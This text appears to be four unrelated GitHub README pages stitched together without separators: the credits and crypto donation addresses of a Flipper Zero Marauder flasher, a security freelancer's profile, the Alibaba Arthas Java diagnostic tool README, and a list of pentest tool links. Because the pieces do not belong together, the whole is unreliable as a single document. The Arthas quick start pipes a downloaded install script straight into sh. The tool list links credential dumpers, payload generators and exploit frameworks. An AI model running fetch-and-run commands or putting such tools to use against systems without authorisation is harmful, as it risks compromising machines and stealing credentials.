[justcallmekoko](https://github.com/justcallmekoko/ESP32Marauder) for the AWESOME work in developing Marauder and porting it to the Flipper. * [0xchocolate](https://github.com/0xchocolate) for the Marauder companion plugin (now in [Unleashed](https://github.com/Eng1n33r/flipperzero-firmware) and [RogueMaster](https://github.com/RogueMaster/flipperzero-firmware-wPlugins).) * [Frog](https://github.com/FroggMaster) For initial scripting under the [Wifi Pentest Tool](https://github.com/FroggMaster/ESP32-Wi-Fi-Penetration-Tool) and inspiring the idea.<br> * [ImprovingRigmarole](https://github.com/Improving-Rigmarole) Initial (and continued) scripting of this flasher and lots of testing.<br> * [UberGuidoZ](https://github.com/UberGuidoZ) Tweaking/Automating Frog's original, continued scripting, development, and testing. ----- ## Donation Information Nothing is ever expected for the hoarding of digital files, creations I have made, or the people I may have helped. ## Ordering from Lab401? [USE THIS LINK FOR 5% OFF!](https://lab401.com/r?id=vsmgoc) (Or code `UberGuidoZ` at checkout.) I've had so many asking for me to add this.<br> ![Flipper_Blush](https://user-images.githubusercontent.com/57457139/183561666-4424a3cc-679b-4016-a368-24f7e7ad0a88.jpg) ![Flipper_Love](https://user-images.githubusercontent.com/57457139/183561692-381d37bd-264f-4c88-8877-e58d60d9be6e.jpg) **BTC**: `3AWgaL3FxquakP15ZVDxr8q8xVTc5Q75dS`<br> **BCH**: `17nWCvf2YPMZ3F3H1seX8T149Z9E3BMKXk`<br> **ETH**: `0x0f0003fCB0bD9355Ad7B124c30b9F3D860D5E191`<br> **LTC**: `M8Ujk52U27bkm1ksiWUyteL8b3rRQVMke2`<br> **PayPal**: `[email protected]` So, here it is. All donations of *any* size are humbly appreciated.<br> ![Flipper_Clap](https://user-images.githubusercontent.com/57457139/183561789-2e853ede-8ef7-41e8-a67c-716225177e5d.jpg) ![Flipper_OMG](https://user-images.githubusercontent.com/57457139/183561787-e21bdc1e-b316-4e67-b327-5129503d0313.jpg) Donations will be used for hardware (and maybe caffeine) to further testing!<br> ![UberGuidoZ](https://cdn.discordapp.com/emojis/1000632669622767686.gif)
![Visitors](https://visitor-badge.laobi.icu/badge?page_id=thehackingsage.thehackingsage) [![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=102)](https://github.com/thehackingsage?tab=repositories) [![Mr.SAGE](https://thehackingsage.com/assets/images/thehackingsage.com.png)](https://thehackingsage.com) <samp> - 👨🏽‍💻 I’m a Freelancer & Cybersecurity Enthusiast - 🤝🏽 Looking for VAPT & Web Development Projects - 🎲 Interests : CTF & Web Designing - 👾 Discord : <a href="https://discordapp.com/users/540789640177647627">Mr.SΛGΣ#9779</a> - 🎮 League of Legends : Mr SAGE #1337 - 📧 Contact Me : <a href="mailto:[email protected]">[email protected]</a> - ⚡ Eat 🍔 Sleep 😴 Hack 💻 Repeat 🔁 <!--## 💻 Github Stats <p>&nbsp;<img align="center" src="https://github-readme-stats.vercel.app/api?username=thehackingsage&show_icons=true&locale=en" alt="Ayyappan" /></p>--> ## 👨🏽‍💻 Skills & Tools ![](https://img.shields.io/badge/OS-Linux-informational?style=flat&logo=linux&logoColor=white&color=99e836) ![](https://img.shields.io/badge/OS-Win10-informational?style=flat&logo=windows&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Editor-Sublime-informational?style=flat&logo=sublime-text&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Editor-VS_Code-informational?style=flat&logo=visual-studio-code&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Code-Python-informational?style=flat&logo=python&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Shell-Bash%20/%20ZSH-informational?style=flat&logo=gnu-bash&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Shell-PowerShell-informational?style=flat&logo=powershell&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Virtualization-VMware-informational?style=flat&logo=vmware&logoColor=white&color=99e836) ![](https://img.shields.io/badge/DevOps-Docker-informational?style=flat&logo=docker&logoColor=white&color=99e836) ![](https://img.shields.io/badge/DevOps-Kubernetes-informational?style=flat&logo=kubernetes&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-Nmap-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-Wireshark-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-Sqlmap-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-Metasploit-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-BurpSuite-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-Postman-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-Bloodhound-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ![](https://img.shields.io/badge/Tools-OWASP%20Zap-informational?style=flat&logo=windowsterminal&logoColor=white&color=99e836) ## 💻 Services - Branding : https://hacktronian.in/services/branding - Web Development : https://hacktronian.in/services/website-designing-and-development - Digital Marketing : https://hacktronian.in/services/digital-marketing - Cyber Security : https://hacktronian.in/services/vulnerability-assessment-and-penetration-testing ## 🌐 Resources - Linux : https://hacktronian.in/resources/linux - Networking : https://hacktronian.in/resources/networking - Programming : https://hacktronian.in/resources/programming - Ethical Hacking : https://hacktronian.in/resources/ethical-hacking - Capture The Flag : https://hacktronian.in/resources/capture-the-flag - Bug Bounty : https://hacktronian.in/resources/bughunting - OSCP : https://hacktronian.in/resources/oscp - HackTheBox : https://hacktronian.in/resources/hackthebox - Cybersecurity Glossary : https://hacktronian.in/resources/glossary - TryHackMe Writeup Walkthrough : https://github.com/thehackingsage/tryhackme - HackTheBox Writeup Walkthrough : https://github.com/thehackingsage/hackthebox ## 💬 Social Links [![Portfolio](https://img.shields.io/badge/-Mr.SAGE-000000?style=flat&logo=gnu-bash&logoColor=99e836)](https://thehackingsage.com) [![Hacktronian](https://img.shields.io/badge/-Hacktronian-000000?style=flat&logo=powershell&logoColor=11c28a)](https://hacktronian.in) [![Instagram](https://img.shields.io/badge/-Instagram-000000?style=flat&logo=Instagram&logoColor=bc2a8d)](https://instagram.com/thehackingsage) [![Twitter](https://img.shields.io/badge/-Twitter-000000?style=flat&logo=Twitter&logoColor=00acee)](https://twitter.com/thehackingsage) [![YouTube](https://img.shields.io/badge/-YouTube-000000?style=flat&logo=YouTube&logoColor=FC2503)](https://youtube.com/hacktronian) [![Whatsapp](https://img.shields.io/badge/-Whatsapp-000000?style=flat&logo=Whatsapp&logoColor=25D366)](https://wa.me/+919044264043) [![Telegram](https://img.shields.io/badge/-Telegram-000000?style=flat&logo=Telegram&logoColor=0088cc)](https://t.me/thehackingsage) [![HTB](https://img.shields.io/badge/-HackTheBox-000000?style=flat&logo=codesandbox&logoColor=9FEF00)](https://hackthebox.eu/profile/38608) [![THM](https://img.shields.io/badge/-TryHackMe-000000?style=flat&logo=icloud&logoColor=gray)](https://tryhackme.com/p/mr.sage) <!--[![Github](https://img.shields.io/badge/-Github-000000?style=flat&logo=Github&logoColor=ffffff)](https://github.com/thehackingsage)--> </samp>
## Arthas ![arthas](site/src/site/sphinx/arthas.png) [![Build Status](https://github.com/alibaba/arthas/workflows/JavaCI/badge.svg)](https://github.com/alibaba/arthas/actions) [![codecov](https://codecov.io/gh/alibaba/arthas/branch/master/graph/badge.svg)](https://codecov.io/gh/alibaba/arthas) [![maven](https://img.shields.io/maven-central/v/com.taobao.arthas/arthas-packaging.svg)](https://search.maven.org/search?q=g:com.taobao.arthas) ![license](https://img.shields.io/github/license/alibaba/arthas.svg) [![Average time to resolve an issue](http://isitmaintained.com/badge/resolution/alibaba/arthas.svg)](http://isitmaintained.com/project/alibaba/arthas "Average time to resolve an issue") [![Percentage of issues still open](http://isitmaintained.com/badge/open/alibaba/arthas.svg)](http://isitmaintained.com/project/alibaba/arthas "Percentage of issues still open") `Arthas` is a Java Diagnostic tool open sourced by Alibaba. Arthas allows developers to troubleshoot production issues for Java applications without modifying code or restarting servers. [中文说明/Chinese Documentation](README_CN.md) ### Background Often times, the production system network is inaccessible from the local development environment. If issues are encountered in production systems, it is impossible to use IDEs to debug the application remotely. More importantly, debugging in production environment is unacceptable, as it will suspend all the threads, resulting in the suspension of business services. Developers could always try to reproduce the same issue on the test/staging environment. However, this is tricky as some issues cannot be reproduced easily on a different environment, or even disappear once restarted. And if you're thinking of adding some logs to your code to help troubleshoot the issue, you will have to go through the following lifecycle; test, staging, and then to production. Time is money! This approach is inefficient! Besides, the issue may not be reproducible once the JVM is restarted, as described above. Arthas was built to solve these issues. A developer can troubleshoot your production issues on-the-fly. No JVM restart, no additional code changes. Arthas works as an observer, which will never suspend your existing threads. ### Key features * Check whether a class is loaded, or where the class is being loaded. (Useful for troubleshooting jar file conflicts) * Decompile a class to ensure the code is running as expected. * View classloader statistics, e.g. the number of classloaders, the number of classes loaded per classloader, the classloader hierarchy, possible classloader leaks, etc. * View the method invocation details, e.g. method parameter, return object, thrown exception, and etc. * Check the stack trace of specified method invocation. This is useful when a developers wants to know the caller of the said method. * Trace the method invocation to find slow sub-invocations. * Monitor method invocation statistics, e.g. qps, rt, success rate and etc. * Monitor system metrics, thread states and cpu usage, gc statistics, and etc. * Supports command line interactive mode, with auto-complete feature enabled. * Supports telnet and websocket, which enables both local and remote diagnostics with command line and browsers. * Supports profiler/Flame Graph * Support get objects in the heap that are instances of the specified class. * Supports JDK 6+. * Supports Linux/Mac/Windows. ### [Online Tutorials(Recommended)](https://arthas.aliyun.com/doc/arthas-tutorials.html?language=en) * [Usages](tutorials/katacoda/README.md#online-tutorial-usages) ### Quick start #### Use `arthas-boot`(Recommended) Download`arthas-boot.jar`,Start with `java` command: ```bash curl -O https://arthas.aliyun.com/arthas-boot.jar java -jar arthas-boot.jar ``` Print usage: ```bash java -jar arthas-boot.jar -h ``` #### Use `as.sh` You can install Arthas with one single line command on Linux, Unix, and Mac. Copy the following command and paste it into the command line, then press *Enter* to run: ```bash curl -L https://arthas.aliyun.com/install.sh | sh ``` The command above will download the bootstrap script `as.sh` to the current directory. You can move it any other place you want, or put its location in `$PATH`. You can enter its interactive interface by executing `as.sh`, or execute `as.sh -h` for more help information. ### Documentation * [Online Tutorials(Recommended)](https://arthas.aliyun.com/doc/arthas-tutorials.html?language=en) * [User manual](https://arthas.aliyun.com/doc/en) * [Installation](https://arthas.aliyun.com/doc/en/install-detail.html) * [Download](https://arthas.aliyun.com/doc/en/download.html) * [Quick start](https://arthas.aliyun.com/doc/en/quick-start.html) * [Advanced usage](https://arthas.aliyun.com/doc/en/advanced-use.html) * [Commands](https://arthas.aliyun.com/doc/en/commands.html) * [WebConsole](https://arthas.aliyun.com/doc/en/web-console.html) * [Docker](https://arthas.aliyun.com/doc/en/docker.html) * [Arthas Spring Boot Starter](https://arthas.aliyun.com/doc/en/spring-boot-starter.html) * [User cases](https://github.com/alibaba/arthas/issues?q=label%3Auser-case) * [FAQ](https://arthas.aliyun.com/doc/en/faq) * [Compile and debug/How to contribute](https://github.com/alibaba/arthas/blob/master/CONTRIBUTING.md) * [Release Notes](https://github.com/alibaba/arthas/releases) ### Feature Showcase #### Dashboard * https://arthas.aliyun.com/doc/en/dashboard ![dashboard](site/src/site/sphinx/_static/dashboard.png) #### Thread * https://arthas.aliyun.com/doc/en/thread See what is eating your CPU (ranked by top CPU usage) and what is going on there in one glance: ```bash $ thread -n 3 "as-command-execute-daemon" Id=29 cpuUsage=75% RUNNABLE at sun.management.ThreadImpl.dumpThreads0(Native Method) at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:440) at com.taobao.arthas.core.command.monitor200.ThreadCommand$1.action(ThreadCommand.java:58) at com.taobao.arthas.core.command.handler.AbstractCommandHandler.execute(AbstractCommandHandler.java:238) at com.taobao.arthas.core.command.handler.DefaultCommandHandler.handleCommand(DefaultCommandHandler.java:67) at com.taobao.arthas.core.server.ArthasServer$4.run(ArthasServer.java:276) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) Number of locked synchronizers = 1 - java.util.concurrent.ThreadPoolExecutor$Worker@6cd0b6f8 "as-session-expire-daemon" Id=25 cpuUsage=24% TIMED_WAITING at java.lang.Thread.sleep(Native Method) at com.taobao.arthas.core.server.DefaultSessionManager$2.run(DefaultSessionManager.java:85) "Reference Handler" Id=2 cpuUsage=0% WAITING on java.lang.ref.Reference$Lock@69ba0f27 at java.lang.Object.wait(Native Method) - waiting on java.lang.ref.Reference$Lock@69ba0f27 at java.lang.Object.wait(Object.java:503) at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) ``` #### jad * https://arthas.aliyun.com/doc/en/jad Decompile your class with one shot: ```java $ jad javax.servlet.Servlet ClassLoader: +-java.net.URLClassLoader@6108b2d7 +-sun.misc.Launcher$AppClassLoader@18b4aac2 +-sun.misc.Launcher$ExtClassLoader@1ddf84b8 Location: /Users/xxx/work/test/lib/servlet-api.jar /* * Decompiled with CFR 0_122. */ package javax.servlet; import java.io.IOException; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; public interface Servlet { public void init(ServletConfig var1) throws ServletException; public ServletConfig getServletConfig(); public void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; public String getServletInfo(); public void destroy(); } ``` #### mc * https://arthas.aliyun.com/doc/en/mc Memory compiler, compiles `.java` files into `.class` files in memory. ```bash $ mc /tmp/Test.java ``` #### retransform * https://arthas.aliyun.com/doc/en/retransform Load the external `*.class` files to retransform/hotswap the loaded classes in JVM. ```bash retransform /tmp/Test.class retransform -c 327a647b /tmp/Test.class /tmp/Test\$Inner.class ``` #### sc * https://arthas.aliyun.com/doc/en/sc Search any loaded class with detailed information. ```bash $ sc -d org.springframework.web.context.support.XmlWebApplicationContext class-info org.springframework.web.context.support.XmlWebApplicationContext code-source /Users/xxx/work/test/WEB-INF/lib/spring-web-3.2.11.RELEASE.jar name org.springframework.web.context.support.XmlWebApplicationContext isInterface false isAnnotation false isEnum false isAnonymousClass false isArray false isLocalClass false isMemberClass false isPrimitive false isSynthetic false simple-name XmlWebApplicationContext modifier public annotation interfaces super-class +-org.springframework.web.context.support.AbstractRefreshableWebApplicationContext +-org.springframework.context.support.AbstractRefreshableConfigApplicationContext +-org.springframework.context.support.AbstractRefreshableApplicationContext +-org.springframework.context.support.AbstractApplicationContext +-org.springframework.core.io.DefaultResourceLoader +-java.lang.Object class-loader +-org.apache.catalina.loader.ParallelWebappClassLoader +-java.net.URLClassLoader@6108b2d7 +-sun.misc.Launcher$AppClassLoader@18b4aac2 +-sun.misc.Launcher$ExtClassLoader@1ddf84b8 classLoaderHash 25131501 ``` #### vmtool * https://arthas.aliyun.com/doc/en/vmtool Get objects in the heap that are instances of the specified class. ```bash $ vmtool --action getInstances --className java.lang.String --limit 10 @String[][ @String[com/taobao/arthas/core/shell/session/Session], @String[com.taobao.arthas.core.shell.session.Session], @String[com/taobao/arthas/core/shell/session/Session], @String[com/taobao/arthas/core/shell/session/Session], @String[com/taobao/arthas/core/shell/session/Session.class], @String[com/taobao/arthas/core/shell/session/Session.class], @String[com/taobao/arthas/core/shell/session/Session.class], @String[com/], @String[java/util/concurrent/ConcurrentHashMap$ValueIterator], @String[java/util/concurrent/locks/LockSupport], ] ``` #### stack * https://arthas.aliyun.com/doc/en/stack View the call stack of `test.arthas.TestStack#doGet`: ```bash $ stack test.arthas.TestStack doGet Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 286 ms. ts=2018-09-18 10:11:45;thread_name=http-bio-8080-exec-10;id=d9;is_daemon=true;priority=5;TCCL=org.apache.catalina.loader.ParallelWebappClassLoader@25131501 @test.arthas.TestStack.doGet() at javax.servlet.http.HttpServlet.service(HttpServlet.java:624) at javax.servlet.http.HttpServlet.service(HttpServlet.java:731) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110) ... at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:451) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1121) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745) ``` #### Trace * https://arthas.aliyun.com/doc/en/trace See what is slowing down your method invocation with trace command: ![trace](site/src/site/sphinx/_static/trace.png) #### Watch * https://arthas.aliyun.com/doc/en/watch Watch the first parameter and thrown exception of `test.arthas.TestWatch#doGet` only if it throws exception. ```bash $ watch test.arthas.TestWatch doGet {params[0], throwExp} -e Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 65 ms. ts=2018-09-18 10:26:28;result=@ArrayList[ @RequestFacade[org.apache.catalina.connector.RequestFacade@79f922b2], @NullPointerException[java.lang.NullPointerException], ] ``` #### Monitor * https://arthas.aliyun.com/doc/en/monitor Monitor a specific method invocation statistics, including the total number of invocations, average response time, success rate, and every 5 seconds: ```bash $ monitor -c 5 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 109 ms. timestamp class method total success fail avg-rt(ms) fail-rate ---------------------------------------------------------------------------------------------------------------------------- 2018-09-20 09:45:32 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.67 0.00% timestamp class method total success fail avg-rt(ms) fail-rate ---------------------------------------------------------------------------------------------------------------------------- 2018-09-20 09:45:37 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 1.00 0.00% timestamp class method total success fail avg-rt(ms) fail-rate ---------------------------------------------------------------------------------------------------------------------------- 2018-09-20 09:45:42 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.43 0.00% ``` #### Time Tunnel(tt) * https://arthas.aliyun.com/doc/en/tt Record method invocation data, so that you can check the method invocation parameters, returned value, and thrown exceptions later. It works as if you could come back and replay the past method invocation via time tunnel. ```bash $ tt -t org.apache.dubbo.demo.provider.DemoServiceImpl sayHello Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 75 ms. INDEX TIMESTAMP COST(ms) IS-RET IS-EXP OBJECT CLASS METHOD ------------------------------------------------------------------------------------------------------------------------------------- 1000 2018-09-20 09:54:10 1.971195 true false 0x55965cca DemoServiceImpl sayHello 1001 2018-09-20 09:54:11 0.215685 true false 0x55965cca DemoServiceImpl sayHello 1002 2018-09-20 09:54:12 0.236303 true false 0x55965cca DemoServiceImpl sayHello 1003 2018-09-20 09:54:13 0.159598 true false 0x55965cca DemoServiceImpl sayHello 1004 2018-09-20 09:54:14 0.201982 true false 0x55965cca DemoServiceImpl sayHello 1005 2018-09-20 09:54:15 0.214205 true false 0x55965cca DemoServiceImpl sayHello 1006 2018-09-20 09:54:16 0.241863 true false 0x55965cca DemoServiceImpl sayHello 1007 2018-09-20 09:54:17 0.305747 true false 0x55965cca DemoServiceImpl sayHello 1008 2018-09-20 09:54:18 0.18468 true false 0x55965cca DemoServiceImpl sayHello ``` #### Classloader * https://arthas.aliyun.com/doc/en/classloader ```bash $ classloader name numberOfInstances loadedCountTotal BootstrapClassLoader 1 3346 com.taobao.arthas.agent.ArthasClassloader 1 1262 java.net.URLClassLoader 2 1033 org.apache.catalina.loader.ParallelWebappClassLoader 1 628 sun.reflect.DelegatingClassLoader 166 166 sun.misc.Launcher$AppClassLoader 1 31 com.alibaba.fastjson.util.ASMClassLoader 6 15 sun.misc.Launcher$ExtClassLoader 1 7 org.jvnet.hk2.internal.DelegatingClassLoader 2 2 sun.reflect.misc.MethodUtil 1 1 ``` #### Web Console * https://arthas.aliyun.com/doc/en/web-console ![web console](site/src/site/sphinx/_static/web-console-local.png) #### Profiler/FlameGraph * https://arthas.aliyun.com/doc/en/profiler ```bash $ profiler start Started [cpu] profiling ``` ``` $ profiler stop profiler output file: /tmp/demo/arthas-output/20211207-111550.html OK ``` View profiler results under arthas-output via browser: ![](site/src/site/sphinx/_static/arthas-output-svg.jpg) #### Arthas Spring Boot Starter * [Arthas Spring Boot Starter](https://arthas.aliyun.com/doc/spring-boot-starter.html) ### Known Users Arthas has more than 120 registered users, [View All](USERS.md). Welcome to register the company name in this issue: https://github.com/alibaba/arthas/issues/111 (in order of registration) ![Alibaba](static/alibaba.png) ![Alipay](static/alipay.png) ![Aliyun](static/aliyun.png) ![Taobao](static/taobao.png) ![ICBC](static/icbc.png) ![雪球财经](static/xueqiu.png) ![顺丰科技](static/sf.png) ![贝壳找房](static/ke.png) ![vipkid](static/vipkid.png) ![百度凤巢](static/baidufengchao.png) ![有赞](static/youzan.png) ### Derivative Projects * [Bistoury: A project that integrates Arthas](https://github.com/qunarcorp/bistoury) * [A fork of arthas using MVEL](https://github.com/XhinLiang/arthas) ### Credits #### Contributors This project exists, thanks to all the people who contributed. <a href="https://github.com/alibaba/arthas/graphs/contributors"><img src="https://opencollective.com/arthas/contributors.svg?width=890&button=false" /></a> #### Projects * [bytekit](https://github.com/alibaba/bytekit) Java Bytecode Kit. * [greys-anatomy](https://github.com/oldmanpushcart/greys-anatomy): The Arthas code base has derived from Greys, we thank for the excellent work done by Greys. * [termd](https://github.com/alibaba/termd): Arthas's terminal implementation is based on termd, an open source library for writing terminal applications in Java. * [crash](https://github.com/crashub/crash): Arthas's text based user interface rendering is based on codes extracted from [here](https://github.com/crashub/crash/tree/1.3.2/shell) * [cli](https://github.com/alibaba/cli): Arthas's command line interface implementation is based on cli, open sourced by vert.x * [compiler](https://github.com/skalogs/SkaETL/tree/master/compiler) Arthas's memory compiler. * [Apache Commons Net](https://commons.apache.org/proper/commons-net/) Arthas's telnet client. * [async-profiler](https://github.com/jvm-profiling-tools/async-profiler) Arthas's profiler command.
____ ___ _____ .__ | | \______ _____/ ____\_ __| | ______ ______ | | / ___// __ \ __\ | \ | ______ ______ /_____/ /_____/ | | /\___ \\ ___/| | | | / |__ /_____/ /_____/ |______//____ >\___ >__| |____/|____/ \/ \/ open an issue if a link is dead, thanks if you like my share you can give me some XMR { 4Ahnr36hZQsJ3P6jowXvs7cLkSVbkq2KyfQBVURYVftcj9tDoA592wT1jskroZEk2QDEZFPYMLqVvJWZHecFwQ9nL15SzRG } ## Detection yara;network;https://github.com/plusvic/yara haka;network;http://www.haka-security.org/ ## Identification netdiscover;network discover;http://www.tuto-linux.com/tutoriel/netdiscover-scan-furtif-dun-reseau-avec-arp/ nmap;network scanner;https://nmap.org/download.html recog;discovery;https://github.com/rapid7/recog vulscan;nmap script;https://github.com/scipag/vulscan synscan;network scanner;https://packetstormsecurity.com/files/download/62221/synscan-5.0.tar.gz webappalyzer;CMS identification;https://wappalyzer.com/ builtwith;CMS identification;http://builtwith.com/ nikto;web;https://github.com/sullo/nikto dirbuster;web;https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project fibratus;windows kernel;https://github.com/rabbitstack/fibratus wafw00f;web;https://github.com/EnableSecurity/wafw00f skipfish;web;https://code.google.com/archive/p/skipfish/ lastaudit;windows;https://lastaudit.wordpress.com/download/ subbrute;dns;https://github.com/TheRook/subbrute ctfr;dns;https://github.com/UnaPibaGeek/ctfr Dumb;dns;https://github.com/giovanifss/Dumb BTA;active directory;https://bitbucket.org/iwseclabs/bta portquiz;network;http://portquiz.net/ massdns;dns;https://github.com/blechschmidt/massdns domained;dns;https://github.com/nilvalues/domained assetfinder;domain;https://github.com/tomnomnom/assetfinder dvcs-pillage;git;https://github.com/evilpacket/DVCS-Pillage dmitry;web;apt-get install dmitry sslyze;ssl;https://github.com/nabla-c0d3/sslyze ssltest.sh;ssl;https://github.com/drwetter/testssl.sh/ LHF recon;multiple;https://github.com/blindfuzzy/LHF pshtt;https;https://github.com/dhs-ncats/pshtt fuzzdb;liste patern;https://github.com/fuzzdb-project/fuzzdb sparta;linux;http://sparta.secforce.com/ operative;fingerprinting;https://github.com/graniet/operative-framework SIPvicious;SIP;https://github.com/EnableSecurity/sipvicious sharesniffer;win;https://github.com/shirosaidev/sharesniffer reversewhois;whois;https://viewdns.info/reversewhois securitytrails;dns keyword;https://securitytrails.com/#search Interlace;multi thread linux automation;https://github.com/codingo/Interlace fuff;web;https://github.com/ffuf/ffuf amass;OWASP info gathering;https://github.com/OWASP/Amass ## CVE cvedetails;;https://www.cvedetails.com/ opencve;;https://www.opencve.io/ mitre;;https://cve.mitre.org/ ## vulnerabilities research nmap;port scanner;https://nmap.org/ ngrep;passive scan;https://linux.die.net/man/8/ngrep burp;web;http://portswigger.net/ Burp-Non-HTTP-Extension;web burp extension;https://github.com/summitt/Burp-Non-HTTP-Extension zap;web;https://github.com/zaproxy/zaproxy/wiki/Downloads jsql-injection;sqli;https://github.com/ron190/jsql-injection havij,sqli;http://itsecteam.com/ nessus;server;http://www.tenable.com/products/nessus/select-your-operating-system metasploit;pentest framework;http://www.rapid7.com/products/metasploit/ sniper;pentest;https://github.com/1N3/Sn1per BeEF;web;https://github.com/beefproject/beef aircrack;wifi;http://www.aircrack-ng.org/ airsnort;wifi;http://sourceforge.net/projects/airsnort/ webscarab;fuzzer web;https://github.com/OWASP/OWASP-WebScarab jBroFuzz;fuzzer web;https://sourceforge.net/projects/jbrofuzz/ wsfuzzer;fuzzer soap;https://sourceforge.net/projects/wsfuzzer/files/ zuff;fuzzer;https://github.com/samhocevar/zzuf/releases sulley;fuzzer framework;https://github.com/OpenRCE/sulley protofuzz;fuzzer protocol;https://sourceforge.net/projects/protofuzz/ comraider;fuzzer activex;https://github.com/dzzie/COMRaider malybuzz;fuzzer network;http://eternal-todo.com/tools/malybuzz-network-fuzzer peach;fuzzer;http://www.peachfuzzer.com/resources/peachcommunity/ radamsa;fuzzer;https://github.com/aoh/radamsa xsshunter;web xss;https://github.com/mandatoryprogrammer/xsshunter xsspy;web;https://github.com/faizann24/XssPy/ kerberom;windows;https://github.com/Fist0urs/kerberom BruteXSS;xss;https://github.com/shawarkhanethicalhacker/BruteXSS otori;xee;http://www.beneaththewaves.net/Software/On_The_Outside_Reaching_In.html#Downloads apktool;apk;http://ibotpeaches.github.io/Apktool/ fiddler;web;https://www.telerik.com/download/fiddler mimikittenz;win;https://github.com/putterpanda/mimikittenz choronzon;fuzzer;https://github.com/CENSUS/choronzon smod;modbus;https://github.com/enddo/smod vega;web;https://subgraph.com/vega ridenum;windows;https://github.com/trustedsec/ridenum vsaudit;VOIP;https://github.com/sanvil/vsaudit Responder;windows;https://github.com/lgandx/Responder PowerSploit;windows;https://github.com/PowerShellMafia/PowerSploit LLMNR;powershell;https://github.com/nbs-system/php-malware-finder mimipenguin;linux;https://github.com/huntergregal/mimipenguin getsploit;getsploit;https://github.com/vulnersCom/getsploit winpayloads;win payloads;https://github.com/nccgroup/winpayloads CrackMapExec;network scan/AD;https://github.com/byt3bl33d3r/CrackMapExec mitm6;mitm ipv6 wpad;https://github.com/fox-it/mitm6 GyoiThon;web msf;https://github.com/gyoisamurai/GyoiThon badKarma;gui;https://github.com/r3vn/badKarma PowerLine;https://github.com/fullmetalcache/PowerLine ysoserial;JAVA serialization object;https://github.com/frohoff/ysoserial evil-ssdp;UPNP;https://gitlab.com/initstring/evil-ssdp eavesarp;python arp;https://github.com/arch4ngel/eavesarp AD;documentation;https://github.com/infosecn1nja/AD-Attack-Defense/ baboossh;cme for ssh;https://github.com/cybiere/baboossh Blacklist3r;ASP.NET;https://github.com/NotSoSecure/Blacklist3r/releases/tag/3.0 xinPEAS;windows;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS fakedns;dns;https://github.com/Crypt0s/FakeDns evil-winrm;win;https://github.com/Hackplayers/evil-winrm WinPwn;PS;https://github.com/S3cur3Th1sSh1t/WinPwn ## exploit jexboss;jboss;https://github.com/joaomatosf/jexboss gtfobins;linux;https://gtfobins.github.io/ wadcoms;;https://wadcoms.github.io/#+No%20Creds ## PowerShell MailSniper;PS;https://github.com/dafthack/MailSniper ## Obfuscation pyobfuscator;python;https://github.com/nlog2n/pyobfuscator ## pivot ssf;X plateforme;https://securesocketfunneling.github.io/ssf/ ## SQLi mssql-cli;mssql client cmd;https://docs.microsoft.com/fr-fr/sql/tools/mssql-cli?view=sql-server-2017 sqlmap;sqli;http://sqlmap.org/ ## Audit nipper;fw;www.titania.com lynis;linux;https://cisofy.com/lynis/ Nix 